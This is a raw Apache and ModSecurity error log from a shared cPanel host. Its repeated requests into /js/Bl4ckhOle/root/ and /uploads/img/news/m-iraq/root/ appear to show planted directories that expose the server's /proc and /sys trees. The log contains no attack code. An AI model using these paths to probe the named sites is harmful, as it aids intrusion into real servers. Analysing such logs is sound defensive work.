[Fri Jul 17 09:00:33.241194 2026] [security2:error] [pid 2013830:tid 2013830] [client 205.210.31.69:64654] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91:8443"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/cgi-sys/suspendedpage.cgi"] [unique_id "almh2QRRrtuZqNDDSqWw7gAAABo"]
[Fri Jul 17 09:00:33.255959 2026] [cgi:error] [pid 2013830:tid 2013830] [client 205.210.31.69:64654] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: 403 (Forbidden): 403 Forbidden
[Fri Jul 17 09:00:33.256032 2026] [cgi:error] [pid 2013830:tid 2013830] [client 205.210.31.69:64654] AH01215: stderr from /usr/local/cpanel/cgi-sys/suspendedpage.cgi: Executing in an invalid environment for the supplied user at /usr/local/cpanel/Cpanel/CGI/NoForm.pm line 157.
[Fri Jul 17 09:00:36.305539 2026] [security2:error] [pid 2028246:tid 2028246] [client 57.141.18.2:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/cwd/proc/thread-self/root/sys/bus/memory/devices/memory23/node0/memory104/node0/memory106/node0/memory50/"] [unique_id "almh3DsMb3am0TgkjETbqgAAAAo"]
[Fri Jul 17 09:00:36.305585 2026] [security2:error] [pid 2028246:tid 2028246] [client 57.141.18.2:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/cwd/proc/thread-self/root/sys/bus/memory/devices/memory23/node0/memory104/node0/memory106/node0/memory50/"] [unique_id "almh3DsMb3am0TgkjETbqgAAAAo"]
[Fri Jul 17 09:00:37.210205 2026] [core:error] [pid 2013829:tid 2013829] (13)Permission denied: [client 57.141.18.37:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory70/node0/memory33/node0/memory0/node0/cpu0/crash_notes
[Fri Jul 17 09:00:46.050848 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:00:46.097134 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:00:46.169915 2026] [ssl:error] [pid 2013829:tid 2013829] (70014)End of file found: [client 66.85.158.91:42894] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:00:46.465312 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:00:46.799207 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:42950] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:00:47.752428 2026] [security2:error] [pid 2013809:tid 2013809] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almh50gVnBK6wAv37w6tSgAAABQ"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:00:47.752457 2026] [security2:error] [pid 2013809:tid 2013809] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almh50gVnBK6wAv37w6tSgAAABQ"], referer: http://anandaobauae.org/?fb_locale=th_THuploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:00:48.171639 2026] [core:error] [pid 2018741:tid 2018741] (13)Permission denied: [client 47.82.53.96:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:01.1/rescan
[Fri Jul 17 09:00:48.275108 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:00:48.337252 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 47.82.48.166:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/116:5/device/device/subsystem/drivers/xhci_hcd/unbind
[Fri Jul 17 09:00:48.362541 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:00:48.554965 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:00:48.700174 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:00:48.729352 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:00:48.869168 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:00:48.878708 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:00:48.957507 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:00:48.970095 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:00:49.021973 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:00:49.470760 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:00:50.276433 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:00:50.284962 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:00:51.993822 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:00:52.180960 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:00:52.222705 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:00:52.620897 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:00:52.661635 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:00:52.756890 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:00:52.819476 2026] [ssl:error] [pid 1993715:tid 1993715] (70014)End of file found: [client 66.85.158.91:41574] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:00:53.504802 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:00:53.505016 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:00:53.699258 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:41626] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:00:55.050750 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:00:55.897566 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:00:56.141775 2026] [core:error] [pid 2028246:tid 2028246] (13)Permission denied: [client 47.82.14.195:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/246:1/subsystem/usbmon1/device/usb1/remove
[Fri Jul 17 09:00:56.257435 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:00:56.267526 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:00:56.304394 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:00:56.412807 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:00:56.457428 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:00:56.544983 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:00:56.577312 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:00:56.592749 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:41732] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:00:56.939535 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:41752] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:00:57.672363 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:00:57.893838 2026] [core:error] [pid 2013809:tid 2013809] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/dev/char/251:0/device/firmware_node/subsystem/devices/device:15/eject
[Fri Jul 17 09:00:57.989775 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:00:57.993084 2026] [proxy_fcgi:error] [pid 2030804:tid 2030804] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:00:58.298748 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:00:58.615237 2026] [core:error] [pid 2018757:tid 2018757] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/dev/char/251:0/device/firmware_node/subsystem/devices/device:17/eject
[Fri Jul 17 09:00:58.689010 2026] [security2:error] [pid 2013797:tid 2013797] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almh8lh1WDijTxd1xw5NSAAAAAc"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:00:58.689062 2026] [security2:error] [pid 2013797:tid 2013797] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almh8lh1WDijTxd1xw5NSAAAAAc"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:00:58.816229 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:00:59.041545 2026] [core:error] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/dev/char/251:0/device/firmware_node/subsystem/devices/device:11/eject
[Fri Jul 17 09:00:59.226235 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:00:59.471835 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:00:59.473217 2026] [proxy_fcgi:error] [pid 2030955:tid 2030955] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:01:04.565425 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:04.566645 2026] [proxy_fcgi:error] [pid 2013809:tid 2013809] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:01:04.990493 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:05.235054 2026] [security2:error] [pid 2030955:tid 2030955] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/sys/dev/char/29:0/device/firmware_node/subsystem/devices/device:05/uevent"] [unique_id "almh-fwooI4qY7Jg93pWcQAAABM"]
[Fri Jul 17 09:01:05.235101 2026] [security2:error] [pid 2030955:tid 2030955] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/sys/dev/char/29:0/device/firmware_node/subsystem/devices/device:05/uevent"] [unique_id "almh-fwooI4qY7Jg93pWcQAAABM"]
[Fri Jul 17 09:01:05.335615 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:05.337132 2026] [proxy_fcgi:error] [pid 2029579:tid 2029579] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:01:05.761715 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:06.064051 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:06.166289 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:06.171296 2026] [proxy_fcgi:error] [pid 2030774:tid 2030774] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:01:06.368999 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:07.198576 2026] [security2:error] [pid 2018757:tid 2018757] [client 57.141.18.0:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory14/node0/memory75/node0/memory139/node0/memory13/"] [unique_id "almh-0kXT4NBqALj2lZ9wAAAABA"]
[Fri Jul 17 09:01:07.198641 2026] [security2:error] [pid 2018757:tid 2018757] [client 57.141.18.0:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory14/node0/memory75/node0/memory139/node0/memory13/"] [unique_id "almh-0kXT4NBqALj2lZ9wAAAABA"]
[Fri Jul 17 09:01:09.450329 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:36318] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:01:11.196954 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:36408] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:01:11.197189 2026] [security2:error] [pid 2029579:tid 2029579] [client 57.141.18.9:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory69/subsystem/devices/memory93/subsystem/devices/memory142/node0/memory91/state"] [unique_id "almh_yRF0UOO1RzB5_8u4QAAAA4"]
[Fri Jul 17 09:01:11.197225 2026] [security2:error] [pid 2029579:tid 2029579] [client 57.141.18.9:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory69/subsystem/devices/memory93/subsystem/devices/memory142/node0/memory91/state"] [unique_id "almh_yRF0UOO1RzB5_8u4QAAAA4"]
[Fri Jul 17 09:01:16.951547 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:38784] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:01:17.604664 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almiBY1dLClkUfK_dfHl9QAAAAI"], referer: http://anandaobauae.org/?C=S;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:01:17.604696 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almiBY1dLClkUfK_dfHl9QAAAAI"], referer: http://anandaobauae.org/?C=S;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:01:21.439991 2026] [security2:error] [pid 2030804:tid 2030804] [client 57.141.18.54:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory127/node0/cpu3/subsystem/devices/cpu0/driver/cpu3/subsystem/devices/"] [unique_id "almiCYe39YUk0SgV8AU7TgAAABE"]
[Fri Jul 17 09:01:21.440126 2026] [security2:error] [pid 2030804:tid 2030804] [client 57.141.18.54:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory127/node0/cpu3/subsystem/devices/cpu0/driver/cpu3/subsystem/devices/"] [unique_id "almiCYe39YUk0SgV8AU7TgAAABE"]
[Fri Jul 17 09:01:23.978162 2026] [ssl:error] [pid 2030774:tid 2030774] (70014)End of file found: [client 66.85.158.91:46410] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:01:24.211313 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:46430] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:01:25.940259 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:46614] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:01:26.687256 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:46694] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:01:27.736369 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:46728] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:01:27.863936 2026] [security2:error] [pid 2013809:tid 2013809] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/sys/dev/char/251:0/device/firmware_node/subsystem/devices/device:0a/wakeup/"] [unique_id "almiD0gVnBK6wAv37w6tYQAAABQ"]
[Fri Jul 17 09:01:27.863964 2026] [security2:error] [pid 2013809:tid 2013809] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/sys/dev/char/251:0/device/firmware_node/subsystem/devices/device:0a/wakeup/"] [unique_id "almiD0gVnBK6wAv37w6tYQAAABQ"]
[Fri Jul 17 09:01:28.285114 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:28.289076 2026] [proxy_fcgi:error] [pid 2029866:tid 2029866] [client 216.73.216.245:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:01:28.487161 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:29.121467 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:29.499853 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:29.542456 2026] [security2:error] [pid 2030804:tid 2030804] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almiEIe39YUk0SgV8AU7VAAAABE"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1052&page_105=1500
[Fri Jul 17 09:01:29.542499 2026] [security2:error] [pid 2030804:tid 2030804] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almiEIe39YUk0SgV8AU7VAAAABE"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1052&page_105=1500
[Fri Jul 17 09:01:29.598214 2026] [ssl:error] [pid 2030774:tid 2030774] (70014)End of file found: [client 66.85.158.91:46828] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:01:30.892859 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:47270] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:01:32.341710 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:45726] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:01:32.835041 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:45752] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:01:33.026452 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:33.433047 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:34.644939 2026] [core:error] [pid 2018757:tid 2018757] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/dev/char/251:0/device/firmware_node/subsystem/drivers/pvpanic/unbind
[Fri Jul 17 09:01:34.753171 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:34.856263 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:35.484486 2026] [ssl:error] [pid 2030774:tid 2030774] (70014)End of file found: [client 66.85.158.91:45852] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:01:38.813659 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:46036] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:01:39.959996 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:46098] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:01:42.987828 2026] [ssl:error] [pid 2029866:tid 2029866] (70014)End of file found: [client 66.85.158.91:58928] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:01:43.389159 2026] [security2:error] [pid 1993715:tid 1993715] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almiHnRlmrtCoY_COpcm_AAAAAg"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1050&page_105=1490
[Fri Jul 17 09:01:43.389195 2026] [security2:error] [pid 1993715:tid 1993715] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almiHnRlmrtCoY_COpcm_AAAAAg"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1050&page_105=1490
[Fri Jul 17 09:01:44.534095 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:59052] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:01:45.378764 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:45.613076 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:45.715356 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:45.916365 2026] [core:error] [pid 2031172:tid 2031172] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/kernel/slab/fasync_cache/partial
[Fri Jul 17 09:01:46.530034 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:46.724843 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:46.776878 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:01:46.778168 2026] [security2:error] [pid 2030955:tid 2030955] [client 47.79.11.63:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:4/subsystem/ttyS3/device/subsystem/"] [unique_id "almiIvwooI4qY7Jg93pWiAAAABM"]
